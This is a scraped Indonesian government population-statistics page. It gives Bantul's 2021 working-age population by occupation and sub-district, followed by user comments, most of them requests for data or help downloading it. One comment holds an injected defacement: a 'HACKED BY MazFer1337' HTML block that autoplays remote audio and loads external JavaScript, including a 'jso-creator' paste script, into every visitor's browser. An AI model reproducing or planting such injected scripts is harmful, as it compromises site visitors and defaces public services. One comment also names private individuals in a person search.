Statistik Penduduk D.I. Yogyakarta

Pilih Periode :
Pilih Jenis Data :
Pilih Menurut :
Provinsi :
Pilih Kabupaten :
Pilih Kecamatan :

Tampilkan Data

SEMESTER II 2021

JUMLAH PENDUDUK USIA KERJA KABUPATEN BANTUL, D.I Yogyakarta SEMESTER II 2021
Menurut Jenis Pekerjaan

Silakan Login atau Daftar untuk mengunduh berkas
Kemantren / Kapanewon Bukan Angkatan Kerja Angkatan Kerja
MENGURUS RUMAH TANGGA PELAJAR/MAHASISWA PENSIUNAN BELUM BEKERJA ASN TNI POLRI PEJABAT NEGARA BURUH /TUKANG BERKEAHLIAN KHUSUS SEKTOR PERTANIAN /PETERNAKAN /PERIKANAN KARYAWAN BUMN/BUMD KARYAWAN SWASTA WIRASWASATA TENAGA MEDIS PEKERJAAN LAINNYA TOTAL
L P L+P L P L+P L P L+P L P L+P L P L+P L P L+P L P L+P L P L+P L P L+P L P L+P L P L+P L P L+P L P L+P L P L+P L P L+P L P L+P
SRANDAKAN 0 1.768 1.768 2.010 1.914 3.924 324 196 520 314 436 750 344 367 711 47 0 47 58 5 63 1 0 1 1.726 876 2.602 3.388 3.046 6.434 49 21 70 1.518 1.328 2.846 2.240 2.265 4.505 23 80 103 275 342 617 12.317 12.644 24.961
SANDEN 0 1.667 1.667 2.027 1.940 3.967 442 253 695 364 481 845 420 504 924 55 0 55 99 9 108 1 0 1 1.944 1.432 3.376 3.348 3.176 6.524 40 19 59 1.701 1.485 3.186 1.975 1.993 3.968 18 79 97 206 129 335 12.640 13.167 25.807
KRETEK 0 1.867 1.867 1.972 1.830 3.802 421 194 615 299 418 717 408 366 774 123 4 127 162 14 176 3 1 4 1.363 791 2.154 3.582 3.902 7.484 32 14 46 1.601 1.329 2.930 1.866 1.917 3.783 11 82 93 186 115 301 12.029 12.844 24.873
PUNDONG 0 2.320 2.320 2.111 2.061 4.172 293 108 401 355 380 735 313 283 596 54 0 54 105 9 114 2 0 2 2.270 1.227 3.497 4.108 4.221 8.329 29 7 36 2.275 1.713 3.988 1.752 1.849 3.601 11 55 66 294 341 635 13.972 14.574 28.546
BAMBANG LIPURO 0 2.758 2.758 2.601 2.425 5.026 508 246 754 555 685 1.240 496 543 1.039 100 1 101 142 6 148 1 0 1 2.387 1.447 3.834 4.248 3.882 8.130 52 20 72 2.647 2.201 4.848 2.114 2.237 4.351 11 103 114 445 564 1.009 16.307 17.118 33.425
PANDAK 0 3.161 3.161 3.590 3.185 6.775 376 206 582 675 756 1.431 525 499 1.024 103 2 105 184 13 197 1 1 2 5.007 3.373 8.380 4.503 4.245 8.748 59 15 74 2.615 2.348 4.963 2.743 2.602 5.345 22 114 136 309 390 699 20.712 20.910 41.622
PAJANGAN 0 2.299 2.299 2.064 2.053 4.117 200 63 263 515 647 1.162 282 202 484 57 1 58 81 5 86 2 0 2 5.628 4.328 9.956 1.903 2.005 3.908 40 6 46 1.909 1.563 3.472 1.436 1.245 2.681 11 59 70 193 149 342 14.321 14.625 28.946
BANTUL 0 4.980 4.980 4.580 4.193 8.773 945 429 1.374 729 719 1.448 1.171 1.117 2.288 204 6 210 394 37 431 0 0 0 6.142 4.545 10.687 1.755 1.493 3.248 131 66 197 4.505 3.718 8.223 4.285 4.269 8.554 49 214 263 328 324 652 25.218 26.110 51.328
JETIS 0 3.554 3.554 3.552 3.466 7.018 555 211 766 858 1.690 2.548 687 613 1.300 141 3 144 192 20 212 1 0 1 8.786 6.746 15.532 1.093 1.015 2.108 72 26 98 3.765 3.148 6.913 2.868 2.651 5.519 31 123 154 267 260 527 22.868 23.526 46.394
IMOGIRI 0 2.561 2.561 3.151 3.002 6.153 378 114 492 1.424 2.216 3.640 447 381 828 95 0 95 119 5 124 3 0 3 6.538 5.033 11.571 3.021 3.381 6.402 36 14 50 2.523 2.377 4.900 6.678 5.916 12.594 22 86 108 353 426 779 24.788 25.512 50.300
DLINGO 0 2.322 2.322 2.019 1.774 3.793 133 18 151 224 290 514 175 88 263 19 0 19 23 0 23 1 0 1 4.150 2.033 6.183 4.787 6.687 11.474 9 3 12 992 814 1.806 2.895 1.924 4.819 7 25 32 307 354 661 15.741 16.332 32.073
BANGUNTAPAN 0 9.934 9.934 8.525 7.716 16.241 1.374 626 2.000 1.017 1.165 2.182 1.580 1.535 3.115 900 73 973 445 40 485 7 2 9 10.245 7.717 17.962 1.167 1.188 2.355 330 168 498 9.376 7.172 16.548 8.022 6.734 14.756 106 306 412 459 395 854 43.553 44.771 88.324
PLERET 0 3.404 3.404 3.401 2.961 6.362 246 89 335 461 551 1.012 424 352 776 101 1 102 148 4 152 2 0 2 6.780 4.730 11.510 1.367 1.448 2.815 48 11 59 2.194 1.915 4.109 3.197 2.883 6.080 22 74 96 266 218 484 18.657 18.641 37.298
PIYUNGAN 0 4.413 4.413 3.516 3.296 6.812 511 173 684 532 575 1.107 576 488 1.064 212 2 214 161 11 172 2 0 2 4.931 3.253 8.184 2.666 2.716 5.382 93 43 136 3.869 2.792 6.661 3.107 2.907 6.014 15 104 119 213 207 420 20.404 20.980 41.384
SEWON 0 8.255 8.255 7.058 6.482 13.540 950 428 1.378 1.032 1.439 2.471 1.359 1.256 2.615 275 6 281 375 27 402 3 0 3 6.041 3.369 9.410 6.039 5.104 11.143 200 92 292 8.278 6.145 14.423 6.658 5.790 12.448 59 288 347 1.138 1.370 2.508 39.465 40.051 79.516
KASIHAN 0 8.456 8.456 7.745 7.012 14.757 1.040 466 1.506 680 1.188 1.868 1.162 1.010 2.172 184 3 187 223 19 242 5 1 6 11.547 8.417 19.964 1.667 1.539 3.206 216 120 336 8.160 6.265 14.425 7.269 6.063 13.332 106 289 395 896 1.008 1.904 40.900 41.856 82.756
SEDAYU 0 3.520 3.520 3.464 2.912 6.376 436 232 668 450 434 884 508 481 989 87 2 89 141 7 148 0 1 1 3.023 1.740 4.763 3.880 3.848 7.728 108 25 133 3.759 2.856 6.615 2.738 2.783 5.521 18 82 100 429 453 882 19.041 19.376 38.417
Jumlah 0 67.239 67.239 63.386 58.222 121.608 9.132 4.052 13.184 10.484 14.070 24.554 10.877 10.085 20.962 2.757 104 2.861 3.052 231 3.283 35 6 41 88.508 61.057 149.565 52.522 52.896 105.418 1.544 670 2.214 61.687 49.169 110.856 61.843 56.028 117.871 542 2.163 2.705 6.564 7.045 13.609 372.933 383.037 755.970
sumber DKB Ditjen Dukcapil Kemendagri, diolah Biro Tata Pemerintahan Setda DIY
Silahkan Login atau Daftar untuk mengirim komentar anda

Komentar

data ditemukan sekitar 130 komentar.

Catatan:
- Untuk nomor yang lebih dari 5 digit akan diubah menjadi (number) untuk menjaga kerahasiaan.
- Hanya admin yang dapat melihat isi dari (number).

Asal komen


HACKED BY MazFer1337



html
-- UnknownSec AnonSec Team --
head
titleHacked By MazFer1337title
link relicon hrefhttpsi.top4top.iop_2484lzx6y0.jpg typeimagex-icon
meta namedescription contentwh00pz your security get down
link hrefhttpsfonts.googleapis.comcss2?familyBaumans relstylesheet
link relstylesheet hrefhttpsunknownsec.ameera.co.idassetsflash.css
head
style
body
color FFFFFF
font-family Kelly Slab sans-serif
font-weight 90
height 80vh
margin 0
background-color black

.full-height
height 120vh

.flex-center
align-items center
display flex
justify-content center

.position-ref
position relative

.content
text-align center

style


table width100% height100%
td aligncenter
img altXinixtar 31 srchttpsi.top4top.iop_2484lzx6y0.jpg width300px
h2Pwd? By MazFer1337 Ft RendySech2
h4wh00pz your security get downh4
h4-font colorreduvvufont-brAnon7 - L4N4N9_4K1R4 - Rayzky_ - .meicookies - exa_gans77 - VenoRyan - MR.HAGAN_4040CR4ZY - PohonSagu - .s3nt1n3L - DemonArmy -.MungielL - Nzxsx7 - .G1L4N6_ST86 - kuroaMEpiKAcyu font colorredUnknownSecfont - xinixtar 31 - Hilusion.id - Rao Cyber Team - Sora Cyber Team - indoXploith4
audio srchttpsk.top4top.iom_19562h8em0.mp3 loop1 autoplay1audio
h4-font colorredGreetzfont-brAnonSec Teamh4
div classxCopyright copy 2020 - a hrefmailtocandydevzemzar.netUnknownSecadiv
body
script srchttpsunknownsec.ameera.co.idassetspace.min.jsscript
html


script typetextjavascript srchttpsfakhrysenpai.my.idtoolspentestjso-creatorpasteyTvXi5.txtscript


data jumlah penduduk hargotirto overall sekitar 7.144 orang jumlah penduduk ini setelah dibreakdown berdasarkan jenis pekerjaan menjadi 5.931 orang. terdapat selisih 1.213 orang. kalau ingin mendapatkan penjelasan lebih lanjut kami menghubungi ke nomor mana ya pakbu admin? matur nuwun


lap baik


dimana saya mendapatkan data penduduk per desa?


h1bagush1


bagus


gimana cara mendapatkan data


Perihal saudra sya ada sdikit gangguan jiwa..mkaya dari dulu kog KK dn ktp udah di bisa aktif...mohon dengn dlsangat bantuan ya..


Mohon bantuan dari dukcapil untuk menghidupkan kembali KK dn ktp saudra sya..untuk slanjutya bagaimana harus k kantor apa cukup di kec dn Kel...makasih sblum ya ..


Maaf min, ko data penduduk berdasarkan jenis pekerjaan untuk tiap tahunnya sama semua min, padahal awal tahun kemarin saya buka tiap tahunnya berbeda jumlahnya, ko sekarang dibuka malah ga sinkron ya, mohon perhatian dan diperbaiki, maturnuwun


Data penduduk per desa di setiap kecamatan berdasarkan kelompok umur gak bisa.....mhn tindak lanjut


Mengapa tidak dapat di download ya?


TIDAK BISA DI DOWNLOAD


tidak pernah bisa update. sungguh terlalu


sangat bermanfaat


sangat bermanfaat


sedikit saran tbh perinci sampai data rt dan rw lebih bagus sekali, terima kasih


mak nyuuuussss


bagaimana cara download atau copy data


saya mau download ngga bisa.....thanks


sangat membantu


aku ganteng


Mohon maaf Bapak Ibu admin, apakah ada data penduduk kecamatan kokap menurut jenis kelamin tahun 2012-2013? Karena pilihan yang tersedia hanya sampai tahun 2014. Mohon informasinya. Terimakasih


maaf saya ingin melihat jumlah penduduk berdasarkan usia dilihat dari masing-masing desa di Kab Bantul hari ini, namun kok keluarnya perkecamatan ya? mohon bantuannya terima kasih


tadi saya menanyakan ini
"mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih"
dan saya sudah mendapatkan jawabannya dari sini
"Yang tampil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya." jawaban dari pertanyaan @Elia Ika Rahmawati

terimakasih


mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih


maaf admin, apakah saya bisa meminta data jumlah penduduk menurut golongan umur desa banyusoco, kec.playen, kab.gunungkidul?


Maaf vapakan saya bisa minta jumlah penduduk kec sleman kab sleman berdasarkan golongan umur ?


admin mohon bantuannya...
saya butuh data (KK) yang ada disekita pembangunan kampus 2 UIN sunan kalijaga.
kalau bisa data yang terbaru ya admin..
terima kasih atas kesempatannya


Mohon maaf Bapak Ibu admin, apakah ada data penduduk menurut jenis pekerjaan yang tahun 2012 2013? Karena pilihan yang tersedia tahun terlama sampai 2014. Mohon informasinya. Terimakasih


selamat siang admin, kok tidak bisa di unduh kenapa ya? untuk yang berdasar pendidikan, di kelurahan kecamatan mergangsan


mohon maaf untuk melihat data penduduk kauman saja berdasarkan pekerjaan saja bisa tidak ya min? dari RW 10-13 Kauman. Mohon bantuannya untuk penelitian
Admin menjawab 09.10.18
Silakan minta ke kelurahan.

Mohon maaf Bapak Ibu admin, apakah ada data jumlah penduduk DIY yang didasarkan pada usia, pekerjaan, pendidikan, dan status sosial ekonomi? Karena setelah saya cari2 hanya ada data jumlah penduduk berdasarkan jenis kelamin saja. Mohon informasinya. Terimakasih.
Admin menjawab 09.10.18
Yang tempil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya.

Mohon bantuanya untuk jumlah kk desa prayan kulon soropadab
Untuk keperluan report laporan toko alfamart jembatan merah..


mohon di bantu untuk pencarian orang atas nama JUMADI ( ayah ) umur sekitar 58 tahun, pernah menikah dengan MISTUN asal dari MALANG, ciri2 badan kecil kira2 tinggi 150 cm, kulit hitam dan berkumis tebal. mohon jika ada info bisa Hub, atas nama Endik Purwanto ..WA (number) ( anak kandung )


Kenapa tdk bs di unduh ya?


mohon bantuan jumlah penduduk kelurahan tegalrejo, menurut jenis kelamin, usia, pendidikan, pekerjaan untuk membuat monografi. terimakasih


Min mohon bantuanya , apakah ada data jumlah penduduk rw7 dan rw8 kelurahan tegalrejo untuk membuat monografi. Terimakasih


Min apakah ada data jumlah penduduk gampingan tiap rw nya? Mohon bantuannya min untuk tugas penelitian, makasiih :))


maaf, mau tanya jumlah pasangan usia subur di kecamatan ngemplak tahun 2016 berapa nggeh?


Min saya mau tanya jumlah remaja di cangkringan berapa ya?


Apakah saya bisa mendapatkan data jumlah penduduk di Desa Maguwoharjo , jenis kelamin perempuan usia 17-70 tahun?


maaf min mau nanya bole minta data kemiskinan di setiap kecamatan Kota Yogyakarta?


min. kalau data peduduk pendatang di kecamatan banguntapan bisa disownload atau diperoleh dimana ya? makasih


min, status kependudukan saya kan dinonaktifkan kalau ingin mengurus ke dukcapil sleman berkas apa saja yang harus dibawa? terimakasih


Mau tanya jumlah kk dalam kelurahan triharjo ada berapa ya


Selamat siang, bagaimana cara menghitung penduduk pertengahan tahun? misalkan yang mau saya hitung data penduduk tahun 2006. terimakasih